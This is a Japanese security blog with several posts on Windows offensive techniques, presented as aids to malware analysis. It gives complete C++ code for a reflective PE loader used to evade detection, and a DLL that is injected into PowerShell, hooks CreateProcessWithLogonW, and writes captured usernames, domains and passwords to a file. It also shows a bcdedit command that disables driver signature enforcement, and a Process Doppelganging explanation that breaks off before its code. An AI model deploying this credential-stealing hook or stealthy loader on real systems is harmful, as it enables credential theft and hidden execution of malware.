Snoozy

1.Sleep-inducing; tedious.

ReflectivePELoaderを実装してみる

ReflectivePELoaderを実装してみる

ディスク上のEXEやDLLは,Windowsが提供するPEローダによって,セクションの展開やベース再配置,IATの解決など,実行可能な状態に調整されながらメモリ上にロードされる.

これはディスク上のPEファイルをそのままメモリ上にロードしただけでは実行することができないことを意味する.

マルウェアなどは解析妨害・検知回避のために,リソースファイルとしてPEファイルを保持し,あるいは一度ディスク上に暗号化されたファイルをドロップした後,自前のローダを使用してこれをメモリ上に展開し実行することがある.

このようなテクニックは一般に,ReflectivePELoaderと呼ばれる.

本稿では,以下のリポジトリを参考にこのReflectivePELoaderを実装してみる.

github.com

本稿が,マルウェア解析やテクニック理解への手助けになれば幸いだ.

ReflectivePELoaderの概要

WindowsのPEローダは大まかに以下のような手順を経て,ディスク上のPEファイルをメモリ上にロードする.

  1. ディスク上のPEファイルを開き、DOSおよびPEヘッダを確認する
  2. 対象ファイル内のPEHeader.OptionalHeader.ImageBaseに指定されたアドレスに、PEHeader.OptionalHeader.SizeOfImageで指定されたバイト分メモリを確保する
  3. セクションヘッダを解析し、IMAGE_SECTION_HEADER構造体のVirtualAddressに基づき、確保したメモリブロックに各セクションをコピーする
  4. ImageBaseと異なるメモリブロックが確保された場合、コードやデータセクションの種々の依存関係を調整する。(ベース再配置)
  5. ライブラリに必要なインポートを、対応するライブラリをロードして解決する。(IATの解決)
  6. PEのエントリーポイント(AddressOfEntryPoint)を呼び出す

本稿では,これら一連の処理をエミュレートしたローダを実装し,実際にリソースとしてローダ内部に組み込まれたEXEファイルを動かしてみる.

ローダが利用するPEファイルフォーマットの重要箇所

PEファイルはメモリ上にそのままロードすれば動くというものではなく,実行可能にするにはいくかの調整が必要となることは既に述べた.

以下にローダによる調整が必要な箇所を列挙する.

  • セクションの展開
  • イメージベースの再配置
  • IATの解決

最低限これだけ押さえておけば,筆者の経験上ミニマルなEXEは動くはずである,

それぞれに必要な処理は以前の記事で既に解説済みであるため,必要であれば参照していただきたい.

snoozy.hatenablog.com

ローダにロード対象ファイルをリソースとして持たせる

Visual Studio 2019で,あるプログラムにリソースとしてファイルを組み込むには以下のようにすればよい.

ソリューションエクスプローラから当該プロジェクトを選択. 「リソースファイル」を右クリックし,「追加」内の「リソース」を選択する.

f:id:snoozekvn:20200318221449j:plain

リソースの追加ウィンドウから「インポート」を選択し,リソースにしたいファイルを選択する.

f:id:snoozekvn:20200318221452j:plain

「インポート」からファイルを選択した場合,カスタムリソースとして扱われ,リソースの種類を定義する必要がある.

f:id:snoozekvn:20200318221416j:plain

以下のようなフォルダ構成になっていればうまく構成できている.

f:id:snoozekvn:20200318221425j:plain

この時点でコンパイルすると,リソースセクションにロード対象が組み込まれたファイルが出力される.

ResourceHackerで確認すると確かにリソースとして組み込まれていることが確認できる.

f:id:snoozekvn:20200318221442j:plain

またPE-bearを使用するとファイル構造が視覚的になって分かりやすいのではないだろうか.

f:id:snoozekvn:20200318221436j:plain

リソースの読み込み

組み込まれたリソースには以下のようにしてアクセスする.

     HRSRC hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RESOURCETYPE1), L"ResourceType");
        DWORD peSize = SizeofResource(NULL, hResource);
        HGLOBAL pe = LoadResource(NULL, hResource);
        LPVOID peBytes = VirtualAlloc(NULL, peSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(peBytes, pe, peSize);

FindResourceでリソースハンドルを取得し,VirtualAllocで確保したメモリ領域へコピーする. その後,コピーしたデータを実行可能なように調整を加えながら展開する.

FindResourceの引数には説明が必要だろう.

第1引数hModuleには、リソースが入ったモジュールのハンドルを指定する.今回は自分自身内のリソースなのでNULL指定でよい.

第2引数lpNameには、リソースの識別子を指定する.識別子はresource.hに自動的に定義されたものを使用する.

第3引数lpType にはリソースの型を指定する.今回はカスタムリソースであり,「カスタムリソースの種類」ウィンドウで入力した適当な名前"ResourceType"を指定する.

メモリ上に展開したEXEファイルの実行

ロードしたEXEファイルを実行するには,AddressOfEntryPointを使って関数ポインタを作成し,この関数を呼び出すことで実行できる.

 using PEEntry = VOID(*)();
    PEEntry PEmain = (PEEntry)((DWORD_PTR)peBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);
    PEmain();

コード

以下がコードの全体像.

#include <iostream>
#include <Windows.h>
#include  "resource.h"

    typedef struct BASE_RELOCATION_BLOCK {
        DWORD PageAddress;
        DWORD BlockSize;
    } BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;

    typedef struct BASE_RELOCATION_ENTRY {
        USHORT Offset : 12;
        USHORT Type : 4;
    } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;


    int main()
    {

        HRSRC hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RESOURCETYPE1), L"ResourceType");
        DWORD peSize = SizeofResource(NULL, hResource);
        HGLOBAL pe = LoadResource(NULL, hResource);
        LPVOID peBytes = VirtualAlloc(NULL, peSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(peBytes, pe, peSize);

        PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)peBytes;
        PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)peBytes + dosHeaders->e_lfanew);
        SIZE_T peImageSize = ntHeaders->OptionalHeader.SizeOfImage;

        LPVOID peBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, peImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        DWORD_PTR deltaImageBase = (DWORD_PTR)peBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;

        std::memcpy(peBase, peBytes, ntHeaders->OptionalHeader.SizeOfHeaders);

        PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
        for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
        {
            LPVOID sectionDestination = (LPVOID)((DWORD_PTR)peBase + (DWORD_PTR)section->VirtualAddress);
            LPVOID sectionBytes = (LPVOID)((DWORD_PTR)peBytes + (DWORD_PTR)section->PointerToRawData);
            std::memcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
            section++;
        }

        IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
        DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)peBase;
        DWORD relocationsProcessed = 0;

        while (relocationsProcessed < relocations.Size)
        {
            PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
            relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
            DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
            PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);

            for (DWORD i = 0; i < relocationsCount; i++)
            {
                relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);

                if (relocationEntries[i].Type == 0)
                {
                    continue;
                }

                DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
                DWORD_PTR addressToPatch = 0;
                ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)peBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
                addressToPatch += deltaImageBase;
                std::memcpy((PVOID)((DWORD_PTR)peBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
            }
        }

        PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
        IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
        importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)peBase);
        LPCSTR libraryName = "";
        HMODULE library = NULL;

        while (importDescriptor->Name != NULL)
        {
            libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)peBase;
            library = LoadLibraryA(libraryName);

            if (library)
            {
                PIMAGE_THUNK_DATA thunk = NULL;
                thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)peBase + importDescriptor->FirstThunk);

                while (thunk->u1.AddressOfData != NULL)
                {
                    if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
                    {
                        LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
                        thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
                    }
                    else
                    {
                        PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)peBase + thunk->u1.AddressOfData);
                        DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
                        thunk->u1.Function = functionAddress;
                    }
                    ++thunk;
                }
            }

            importDescriptor++;
        }

        using PEEntry = VOID(*)();
        PEEntry PEmain = (PEEntry)((DWORD_PTR)peBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);
        PEmain();
    
        CloseHandle(pe);
        HeapFree(GetProcessHeap(), 0, peBytes);

        return 0;
    }

デモ

以下は実際に動作させてみた様子.

f:id:snoozekvn:20200318221445j:plain

うまく動作できているようだ.

デバッガを使ってメモリ内を見てみると確かにロードされていることがわかる.

f:id:snoozekvn:20200318221421j:plain

MALISOUSという文字は,筆者が分かりやすいようにロード対象のリソースファイルにハードコードしたもの. (綴りを間違っているのはご容赦願いたい)

リソースファイルの扱いで少々オバーヘッドがあるが,ReflectivePELoaderのコンセプトは再現できたのではないだろうか.

参考

ired.team

https://www.blackhat.com/docs/us-16/materials/us-16-Nipravsky-Certificate-Bypass-Hiding-And-Executing-Malware-From-A-Digitally-Signed-Executable-wp.pdf

メモリパッチによるAPIフックコードの実装をやってみる

メモリパッチによるAPIフックコードの実装をやってみる

今回は後学のために,FridaやMicrosoft Detoursなどの便利なライブラリやフレームワークに頼らないAPIフックコードの実装をやってみる.

フック処理を行うプログラムをDLLとして作成し,これをターゲットプロセスへDLLインジェクションで注入する. 最終的に資格情報をファイルとして出力させることを目標とする.

フック対象APIの調査

PowerShellのStart-Processコマンドレットなどのオプションに-Credentialを付けると続けて資格情報の入力を求められる.

これにより,あるプロセスを別のユーザーやドメインのセキュリティコンテキストで実行させることができる.

この動作をAPI Monitorで追ってみるとプロセスの作成にはWin32APIのCreateProcessWithLogonWを使用していることがわかる.

f:id:snoozekvn:20200229090447j:plain

MSDNによるとこのAPIのプロトタイプは次のようになっている.

BOOL CreateProcessWithLogonW(
  LPCWSTR               lpUsername,
  LPCWSTR               lpDomain,
  LPCWSTR               lpPassword,
  DWORD                 dwLogonFlags,
  LPCWSTR               lpApplicationName,
  LPWSTR                lpCommandLine,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCWSTR               lpCurrentDirectory,
  LPSTARTUPINFOW        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

このAPI冒頭数バイトを不正な関数へとジャンプする機械語へと書き換えることでフックを行う.

APIフックコードの概要

フックコードの実装は大まかに次のようにすればよいだろう.

  1. ターゲットプロセスのメモリ空間内に存在するCreateProcessWithLogonWへのアドレスの特定
  2. CreateProcessWithLogonWが見つかった場合,このAPIの先頭12バイトを不正な関数へジャンプする機械語に置き換える
  3. 不正な関数内で資格情報をインターセプト
  4. システムが正常に処理を完了できるように,インターセプトした資格情報を使って正規のCreateProcessWithLogonWを呼び出す

不正な関数では,資格情報をファイルとして書き出した上で,システムが正常に処理を完了できるように正規のCreateProcessWithLogonWを呼び出す.

CreateProcessWithLogonWAPIの特徴点

フック処理を行う前に,先んじてターゲットプロセスのメモリ空間内に存在するCreateProcessWithLogonWのアドレスを特定する必要がある.

DLLからエクスポートされている関数をフックする場合,その関数へのアドレスは関数ポインタなどを利用することによって簡単に求めることができる。

しかし今回はこの方法ではなく,特徴点となる機械語でターゲットプロセス内のメモリ空間を探索するという方針でやってみる.

まずはCreateProcessWithLogonWの特徴点となる機械語を特定する.

ここでいう特徴点とはCreateProcessWithLogonW内部だと判定できる一意な機械語のことを指す.

特徴点となる機械語の求め方はいろいろあると思うが,今回は練習もかねてWinDbgを使って求めてみる.

MSDNによると,CreateProcessWithLogonWはAdvapi32.dllからエクスポートされていることがわかる.

WinDbgで特定の関数へのアドレスを求めるには次のようにすればよい.

まずWinDbgPowerShellにアタッチし,ロードされているモジュールを列挙する.

0:026> lm
start             end                 module name
00007ff7`d2ed0000 00007ff7`d2f41000   powershell   (pdb symbols)          C:\ProgramData\Dbg\sym\powershell.pdb\D2F07EB4AF4CA8F5362A77028F6214F11\powershell.pdb
00007ff8`7e090000 00007ff8`7ed93000   Microsoft_PowerShell_Commands_Utility_ni   (deferred)             
00007ff8`7eda0000 00007ff8`80e06000   System_Management_Automation_ni   (deferred)             
00007ff8`90bc0000 00007ff8`90dda000   OpcServices   (deferred)             
00007ff8`91480000 00007ff8`9166d000   Microsoft_CSharp_ni   (deferred)             
// 省略
00007ff8`e5bc0000 00007ff8`e5c63000   ADVAPI32   (deferred)             
// 省略

続いてADVAPI32内の関数を列挙する.

0:026> x /D ADVAPI32!a*
 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

00007ff8`e5bd7294 ADVAPI32!AccProvpLoadMartaFunctions (void)
00007ff8`e5bd73e0 ADVAPI32!AccProvpGetStringFromRegistry (void)
00007ff8`e5bd52a0 ADVAPI32!AppmgmtInitialize (void)
00007ff8`e5bcc540 ADVAPI32!AllocateAndInitializeExtObject (void)
00007ff8`e5bda6dc ADVAPI32!AccProvpInitProviders (void)
// 省略

この中からCreateProcessWithLogonWを検索すればよい.

検索をかけていくと次のような出力を得る.

// 省略
00007ff8`e5bf3028 ADVAPI32!CodeAuthzpComputeImageHash (CodeAuthzpComputeImageHash)
00007ff8`e5bca434 ADVAPI32!CodeAuthzGuidIdentsLoadTableAll (CodeAuthzGuidIdentsLoadTableAll)
00007ff8`e5c028c0 ADVAPI32!CreateProcessWithLogonW (CreateProcessWithLogonW)
00007ff8`e5bdc880 ADVAPI32!CreateServiceEx (CreateServiceEx)
// 省略

これにより,CreateProcessWithLogonWはアドレス00007ff8`e5c028c0にロードされていることがわかった.

MemoryウィンドウとDisassemblyウィンドウで確認してみる.

f:id:snoozekvn:20200228055004j:plain

特徴点として選択する機械語はどこでもよいが,今回は関数先頭からの数十バイト程度を選択した.

0x4C ,0x8B ,0xDC ,0x48 ,0x83 ,0xEC ,0x68 ,0x48 ,0x8B ,0x84 ,0x24 ,0xC0 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xF0 ,0x48 ,0x8B ,0x84 ,0x24 ,0xB8 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xE8 ,0x48

試しにHxDなどでこの値を検索してみると確かに1件しかヒットせず,一意な機械語になっていることがわかる.

f:id:snoozekvn:20200228082159j:plain

これでCreateProcessWithLogonWの特徴点となる機械語が求まった.

この機械語をもとにターゲットプロセス内のメモリ空間を探索することで,パッチを当てる部分を特定する.

フック処理

メモリ空間を探索し,特徴点となる機械語がヒットしたら,次はその部分を不正な関数へとジャンプさせる機械語へと書き換える.

フック処理部分は,解説を読むよりも最初にコードを見てもらったほうが理解しやすいだろう.

void installCreateProcessWithLogonW()
{
    // 無限ループ回避用遅延
    Sleep(1000 * 2);

    // ターゲットモジュール内のイメージ領域サイズを取得
    HMODULE targetModule = GetModuleHandle(TEXT("advapi32.dll"));
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetModule;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetModule + dosHeader->e_lfanew);
    SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage;

    // ターゲットモジュールのイメージ領域内を特徴点で探索し,CreateProcessWithLogonWのアドレスを求める
    addressOfCreateProcessWithLogonW =(LPVOID)(DWORD_PTR)GetPatternMemoryAddress((char*)targetModule, PatternCreateProcessWithLogonW, sizeof(PatternCreateProcessWithLogonW), sizeOfImage);

    // フック前の正規な機械語を保存
    std::memcpy(bytesToRestoreCreateProcessWithLogonW, addressOfCreateProcessWithLogonW, sizeof(bytesToRestoreCreateProcessWithLogonW));

    // フック処理準備 "mov rax, &hookedCreateProcessWithLogonW; jmp rax"; となるように機械語を準備する
    DWORD_PTR addressBytesOfhookedCreateProcessWithLogonW = (DWORD_PTR)&hookedCreateProcessWithLogonW;
    std::memcpy(PatchCreateProcessWithLogonW + 2, &addressBytesOfhookedCreateProcessWithLogonW, sizeof(&addressBytesOfhookedCreateProcessWithLogonW));
    std::memcpy(PatchCreateProcessWithLogonW + 2 + sizeof(&addressBytesOfhookedCreateProcessWithLogonW), (PVOID) & "\xff\xe0", 2); // jmp rax;

    // フック処理
    SIZE_T* bytesWritten = NULL;
    WriteProcessMemory(GetCurrentProcess(), addressOfCreateProcessWithLogonW, PatchCreateProcessWithLogonW, sizeof(PatchCreateProcessWithLogonW), (SIZE_T*)&bytesWritten);
}

フック前,つまりWriteProcessMemoryにより機械語が書き換えられる前が以下の画像.

f:id:snoozekvn:20200228064506j:plain

処理を進めると次の画像のように値が書き換わるのが確認できる.

f:id:snoozekvn:20200228064517j:plain

これにより,CreateProcessWithLogonWが呼び出された際に,不正な関数へとジャンプするようになった.

コード

作成したコードは以下.

#include<pch.h>
#include <iostream>
#include <stdio.h>
#include <Windows.h>
#define SECURITY_WIN32
#include <Sspi.h>
#include <ntsecapi.h>
#include <ntsecpkg.h>
#include <userenv.h>


#pragma comment(lib, "Userenv")

using _CreateProcessWithLogonW = NTSTATUS(NTAPI*)(LPCWSTR  lpUsername, LPCWSTR    lpDomain, LPCWSTR  lpPassword, DWORD  dwLogonFlags, LPCWSTR pApplicationName, LPWSTR lpCommandLine, DWORD    dwCreationFlags, LPVOID   lpEnvironment, LPCWSTR    lpCurrentDirectory, LPSTARTUPINFOW   lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
char PatternCreateProcessWithLogonW[] = { 0x4C ,0x8B ,0xDC ,0x48 ,0x83 ,0xEC ,0x68 ,0x48 ,0x8B ,0x84 ,0x24 ,0xC0 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xF0 ,0x48 ,0x8B ,0x84 ,0x24 ,0xB8 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xE8 ,0x48 };

// mov rax, &CreateProcessWithLogonW
char PatchCreateProcessWithLogonW[12] = { 0x48, 0xb8 };
PVOID patternStartAddressOfSpAccecptedCredentials = NULL;
PVOID addressOfCreateProcessWithLogonW = NULL;
char bytesToRestoreCreateProcessWithLogonW[12] = { 0 };
void installCreateProcessWithLogonW();


PVOID GetPatternMemoryAddress(char* startAddress, char* pattern, SIZE_T patternSize, SIZE_T searchBytes)
{
    unsigned int index = 0;
    PVOID patternAddress = NULL;
    char* patternByte = 0;
    char* memoryByte = 0;

    do
    {
        if (startAddress[index] == pattern[0])
        {
            for (size_t i = 1; i < patternSize; i++)
            {
                *(char*)&patternByte = pattern[i];
                *(char*)&memoryByte = startAddress[index + i];

                if (patternByte != memoryByte)
                {
                    break;
                }

                if (i == patternSize - 1)
                {
                    patternAddress = (LPVOID)(&startAddress[index]);
                    return patternAddress;
                }
            }
        }
        ++index;
    } while (index < searchBytes);

    return (PVOID)NULL;
}

NTSTATUS NTAPI hookedCreateProcessWithLogonW(LPCWSTR  lpUsername, LPCWSTR    lpDomain, LPCWSTR  lpPassword, DWORD  dwLogonFlags, LPCWSTR pApplicationName, LPWSTR lpCommandLine, DWORD    dwCreationFlags, LPVOID   lpEnvironment, LPCWSTR    lpCurrentDirectory, LPSTARTUPINFOW   lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
{
    HANDLE file = CreateFile(TEXT("C:\\temp\\credentials.txt"), GENERIC_ALL, 0, NULL, CREATE_ALWAYS, NULL, NULL);

    //debug
    //printf("lpUsername: %ls\n", lpUsername);
    //printf("lpPassword: %ls\n", lpPassword);

    // output 
    DWORD bytesWritten = 0;
    WriteFile(file, lpUsername, lstrlen(lpUsername) * 2, &bytesWritten, NULL);
    WriteFile(file, "@", 2, &bytesWritten, NULL);
    WriteFile(file, lpDomain, lstrlen(lpDomain) * 2, &bytesWritten, NULL);
    WriteFile(file, ":", 2, &bytesWritten, NULL);
    WriteFile(file, lpPassword, lstrlen(lpPassword) * 2, &bytesWritten, NULL);
    CloseHandle(file);

    //unhook
    WriteProcessMemory(GetCurrentProcess(), addressOfCreateProcessWithLogonW, bytesToRestoreCreateProcessWithLogonW, sizeof(bytesToRestoreCreateProcessWithLogonW), NULL);

    CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)installCreateProcessWithLogonW, NULL, NULL, NULL);

    _CreateProcessWithLogonW originalCreateProcessWithLogonW = (_CreateProcessWithLogonW)addressOfCreateProcessWithLogonW;
    return originalCreateProcessWithLogonW(lpUsername, lpDomain, lpPassword, dwLogonFlags, pApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
}

void installCreateProcessWithLogonW()
{
    Sleep(1000 * 2);
    HMODULE targetModule = GetModuleHandle(TEXT("advapi32.dll"));

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetModule;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetModule + dosHeader->e_lfanew);
    SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage;

    patternStartAddressOfSpAccecptedCredentials = (LPVOID)(DWORD_PTR)GetPatternMemoryAddress((char*)targetModule, PatternCreateProcessWithLogonW, sizeof(PatternCreateProcessWithLogonW), sizeOfImage);
    addressOfCreateProcessWithLogonW = (LPVOID)((DWORD_PTR)patternStartAddressOfSpAccecptedCredentials);

    std::memcpy(bytesToRestoreCreateProcessWithLogonW, addressOfCreateProcessWithLogonW, sizeof(bytesToRestoreCreateProcessWithLogonW));

    // hook advapi32!CreateProcessWithLogonW  "mov rax, &hookedCreateProcessWithLogonW; jmp rax";
    DWORD_PTR addressBytesOfhookedCreateProcessWithLogonW = (DWORD_PTR)&hookedCreateProcessWithLogonW;
    std::memcpy(PatchCreateProcessWithLogonW + 2, &addressBytesOfhookedCreateProcessWithLogonW, sizeof(&addressBytesOfhookedCreateProcessWithLogonW));
    std::memcpy(PatchCreateProcessWithLogonW + 2 + sizeof(&addressBytesOfhookedCreateProcessWithLogonW), (PVOID) & "\xff\xe0", 2); // jmp rax;

    SIZE_T* bytesWritten = NULL;
    WriteProcessMemory(GetCurrentProcess(), addressOfCreateProcessWithLogonW, PatchCreateProcessWithLogonW, sizeof(PatchCreateProcessWithLogonW), (SIZE_T*)&bytesWritten);

}


BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        OutputDebugString(TEXT("=================\n"));
        installCreateProcessWithLogonW();
        OutputDebugString(TEXT("=================\n"));
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

デモ

話を単純にするため,まずは自プロセス内のCreateProcessWithLogonWをフックするプログラムを作成し,実験してみる.

正しく動作していることがわかる.

www.youtube.com

次に,DLLとしてこのプログラムを書き直し,DLLインジェクションによるリモートプロセスへの注入で正しく動作するか試してみる.

正しく動作していることがわかる.

www.youtube.com

以上.

参考

book.impress.co.jp

Windowsにカーネルドライバを読み込ませてみる

Windowsカーネルドライバを読み込ませてみる

カーネルドライバを作成し,Windowsシステムにロードさせてみる.

まず以下を参考にドライバ開発環境を用意する.

初めてのドライバーの作成 - Windows drivers | Microsoft Docs

環境

VirtualBox上にWindowsホストを立て必要物をインストールする.

バージョン情報は以下の通り.

// VirtualBox
バージョン 6.1.2 r135662 (Qt5.6.2)
// Windows
C:\Users\victim>ver

Microsoft Windows [Version 10.0.18363.592]

カーネルドライバ開発必要物

VirtualBox上のWindowsホストに以下をインストールする.

  1. Visual Studio
  2. Windows SDK
  3. Windows Driver Kit (WDK)

Visual Studio 2019 のインストール

以下のリンクからVisual Studioをインストールする.

Visual Studio: ソフトウェア開発者とチーム向けの IDE およびコード エディター

Windows SDKのインストール

続いてSDKをインストールする.

Visual Studio付属のインストーラーを利用する.

f:id:snoozekvn:20200224012419p:plain

Windows Driver Kit (WDK)のインストール

WDKは専用ページからインストーラーをダウンロードしてくる必要がある

Windows Driver Kit (WDK) のダウンロード - Windows drivers | Microsoft Docs

インストーラーに従いインストールするだけでよく,そのほかの操作は必要ない.

カーネルドライバの作成

以下を参考にHelloWorldを出力するドライバを作成する.

Hello World Windows ドライバーの作成 (KMDF) - Windows drivers | Microsoft Docs

まずVisualStudioのプロジェクトからKernel Mode Driver, Empty (KMDF)を選択する.

f:id:snoozekvn:20200224012430p:plain

続いてソースファイルにkmdfHelloWorld.cを追加する.

今回は動作確認が目的なので処理内容は何でもよい.

デバッグビューに文字列を出力する以下のようなコードを用意した.

#include <ntddk.h>
#include <wdm.h>

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObje,
        PUNICODE_STRING RegistryPath)
{
    UNREFERENCED_PARAMETER(pDriverObje);
    UNREFERENCED_PARAMETER(RegistryPath);
    DbgPrint("Hello World\n");
    return STATUS_SUCCESS;
}

これをビルドしようとすると筆者の環境ではSpectre軽減策に関するコンパイルエラーがでた.

これは「プロジェクト」内の「プロパティ」を選択し,「C/C++」の「コード生成」を選択,「Spectre軽減策」をオフにすることで抑制できる(なおSpectre軽減策を含むビルドツールはVisual Studio Installerからインストールできる).

f:id:snoozekvn:20200224012427j:plain

うまくビルドできればDebugフォルダ内にkmdfHelloWorld.sysが作成されるはず.

ドライバのロード

ドライバをシステムにロードする方法はいろいろあり,

  1. scコマンドからサービスを登録する
  2. OSC loaderのようなツールを使用する
  3. 専用ローダーを自作する

などがある.

今回はscコマンドを使用してドライバをロードする.

以下のコマンドでサービスとしてドライバを登録する.

sc create [ServiceName] binPath="[DriverPath]" type=kernel

この時,ProcessHackerを起動しておくと,ドライバの読み込み成功時にポップアップ通知してくれるので成功可否がわかりやすい.

サービスの開始

以下のコマンドで作成したサービスを開始する.これによりドライバがシステムにロードされる.

sc start [ServiceName]

ただし,デフォルトでは以下のように署名なしドライバはロードできない.

f:id:snoozekvn:20200224012423p:plain

署名無しドライバを読み込ませるには追加の設定が必要となる.

「署名付きドライバの強制」のオフ

デフォルトのWindows10では署名付きドライバのみロードが許される.

この「署名付きドライバの強制」をオフにするには以下のうちいずれかを行い,再起動すればよい.

CUI操作で「署名付きドライバの強制」をオフにする方法

bcdedit.exeでブート構成データを調整し再起動する.

bcdedit.exe  /set testsigning on

GUI操作で「署名付きドライバの強制」をオフにする方法

スタートボタン内から[電源] をクリックしてShiftキーを押しながら [再起動]をクリックする.

トラブルシューティング」→「詳細オプション」→ 「スタートアップ設定」と進み,以下の画面へ進む.

f:id:snoozekvn:20200224013150j:plain

ドライバの動作確認

DebugViewを管理者権限で起動し,「Capture Kernel」を選択する.

この状態で,再度サービス開始コマンドを発行すれば,ドライバが正常にロードされHelloWorldがDebugViewに出力される.

www.youtube.com

以上.

参考

proc-cpuinfo.fixstars.com

inaz2.hatenablog.com

Transactional NTFS利用によるProcess Doppelgangingをやってみる

Transactional NTFS利用による Process Doppelgangingをやってみる

マルウェアなどがAVスキャナーからの検知を逃れるために使う手法の1分野にProcess Injctionがある. 本記事では以下のリポジトリを参考に,Process Injction手法の1つであるTransactional NTFS利用によるProcess Doppelgangingをやってみる.

github.com

本手法の概要

Process injection手法の1つにProcess Hollowingがある. これは正規のプロセスのイメージをアンマップし,悪意あるコードを注入,実行するというものだ. Process Doppelgangingはこれと似たような動作をする.

まず正規のファイルをNTFSトランザクションを介してオープンし中身をペイロードで置き換える.このファイルをメモリにロード後,明示的にRollbackを行う.Rollback後はディスク上には正規ファイルが,メモリ上にはペイロードファイルがそれぞれ残ることになり,結果としてファイルレスなペイロードのロードと実行が行える.

以降ではWin32APIを使ったNTFSトランザクションについての基本的な部分を解説した後,Process Doppelgangingの実装について解説する.

NTFSトランザクション

Windowsはいくつかのトランザクション処理用APIを提供している.
これによりファイル操作をACID特性を伴って実行できる.

トランザクションAPIはファイル操作系APIにTransactedというサフィックスがつくのが特徴だ.

主な処理の流れは以下のようになる.

  1. CreateTransactionでトランザクションハンドルを取得し、トランザクション開始
  2. トランザクションハンドルを使用して、各種ファイル操作を行う
  3. CommitTransactionでトランザクションをコミット
  4. CloseTransactionでトランザクション終了

トランザクションロールバック

途中の失敗などでコミットすることなくトランザクションを終了した場合,一連の処理はロールバックされる.

トランザクション中のファイルの変更はACID特性故に他プロセスから見えないため,ディスク上にドロップされたペイロードファイルを検知するのは困難だ.

ただし後述するように,トランザクションAPIが利用されることは非常にまれなため,現在のAVスキャナーは容易に本手法を検知する.

Process Doppelgangingの実装

大まかに以下のような処理を行う.

  1. CreateTransactionでトランザクションを開始.
  2. トランザクション内でターゲットファイルをペイロードファイルで上書き.
  3. 上書きされたターゲットファイルから新規セクションを作成.
  4. ターゲットファイルをロールバック.(ターゲットファイルは元の正規ファイルに戻るが,メモリ上にはペイロードファイルが残る)
  5. プロセス作成に必要な諸々を設定し新規スレッドを作成してメモリ上にロードされたペイロードファイルを実行.

なお今回はあらかじめディスク上に用意したファイルをペイロードとして使用した.

以下がそのコードになる.

#include<stdio.h>
